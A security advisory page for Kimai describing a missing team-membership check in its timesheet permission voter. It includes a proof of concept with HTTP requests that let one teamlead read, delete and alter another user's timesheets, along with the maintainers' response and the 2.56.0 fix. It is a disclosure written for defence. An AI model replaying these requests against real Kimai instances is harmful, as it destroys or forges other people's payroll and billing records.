GHSA-9g2q-w3w2-vf7q: Kimai has Missing Voter Check that Allows Cross-Team Timesheet Manipulation
Summary Any ROLETEAMLEAD user can enumerate, read, modify, and permanently delete timesheets belonging to any other user in the system — regardless of team membership. This enables data destruction (deleted billable hours), data tampering (forged timesheet durations), and full authorization bypass on timesheet resources. Verified against Kimai 2.52.0.
Published May 6, 2026
Affected packages
kimai/kimai
- Ecosystem
- Composer (PHP)
- Affected
- <= 2.55.0
- Fixed in
- 2.56.0
- Check
composer show kimai/kimai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Any ROLE_TEAMLEAD user can enumerate, read, modify, and permanently delete timesheets belonging to any other user in the system — regardless of team membership. This enables data destruction (deleted billable hours), data tampering (forged timesheet durations), and full authorization bypass on timesheet resources. Verified against Kimai 2.52.0.
Details
TimesheetVoter::voteOnAttribute() maps permissions to own_timesheet or other_timesheet without checking team membership. The voter's own comment confirms this is a known gap:
// extend me for "team" support later on
if ($subject->getUser()?->getId() === $user->getId()) {
$permission .= 'own';
} else {
$permission .= 'other';
}PoC
Tested against Kimai 2.52.0 Docker instance.
Setup:
- User A (usera, ROLE_TEAMLEAD) owns timesheet ID 2 with description "Private timesheet - UserA only"
- User B (userb, ROLE_TEAMLEAD) is NOT on any team with User A
User B reads User A's timesheet data:
GET /api/timesheets/2 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>Response: HTTP 200 — returns full timesheet record including description "Private timesheet - UserA only".
User B deletes User A's timesheet:
DELETE /api/timesheets/3 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>Response: HTTP 204 No Content — timesheet permanently deleted.
User B tampers User A's timesheet:
PATCH /api/timesheets/6 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: <userb_api_token>
Content-Type: application/json
{"begin":"2026-03-24T08:00:00","end":"2026-03-24T18:00:00","project":1,"activity":1,"description":"TAMPERED","exported":false,"billable":false}Response: HTTP 200 OK — duration inflated from 3600s to 36000s, description overwritten.
Note: ROLE_USER (userc) is correctly blocked — DELETE returns 403 and the actions endpoint returns an empty array. The vulnerability only affects ROLE_TEAMLEAD and above. Timesheet IDs are sequential integers, trivially enumerable.
Impact
Any authenticated user with ROLE_TEAMLEAD or above can:
- Permanently delete timesheets belonging to any user system-wide — destroying billable hours, payroll data, and project billing history
- Silently alter timesheet descriptions, hours, and billing flags — forging hours up or down, directly affecting invoicing and payroll
- Enumerate all timesheet IDs (sequential integers) and access action metadata for arbitrary records
No user interaction required. ROLE_USER accounts are correctly restricted; the vulnerability is specific to ROLE_TEAMLEAD receiving global scope instead of team-scoped access.
Maintainers answer: why this is not eligible for a CVE
The behavior described matches the documented permission model. Per the Kimai documentation, the relevant permissions granted to ROLE_TEAMLEAD are:
edit_other_timesheet— Edit existing records of other usersdelete_other_timesheet— Delete existing records of other users
These permissions were global by design, not team-scoped. The UI surfaces only the teamlead's own team timesheets, but the API has historically honored these permissions as documented: a role holding *_other_timesheet can act on any other user's timesheet. The inline comment // extend me for "team" support later on reflects this accurately — team-scoped enforcement was a planned enhancement, not a security control that existed and failed.
The report frames this as authorization bypass, but no authorization boundary is being crossed: ROLE_TEAMLEAD is operating within its documented permissions.
Kimai acknowledges that this behavior might not be expected, so while it will be treated as a feature request for team-scoped permission enforcement and not a vulnerability, it still track it as having security implications.
Solution
Team-scoped timesheet permission checks were added in 2.56.0.
Operators of Kimai <= 2.55 who need stricter isolation between teamleads should not grant ROLE_TEAMLEAD to users who must not act on other teams' timesheets.
Credited to nullvector1.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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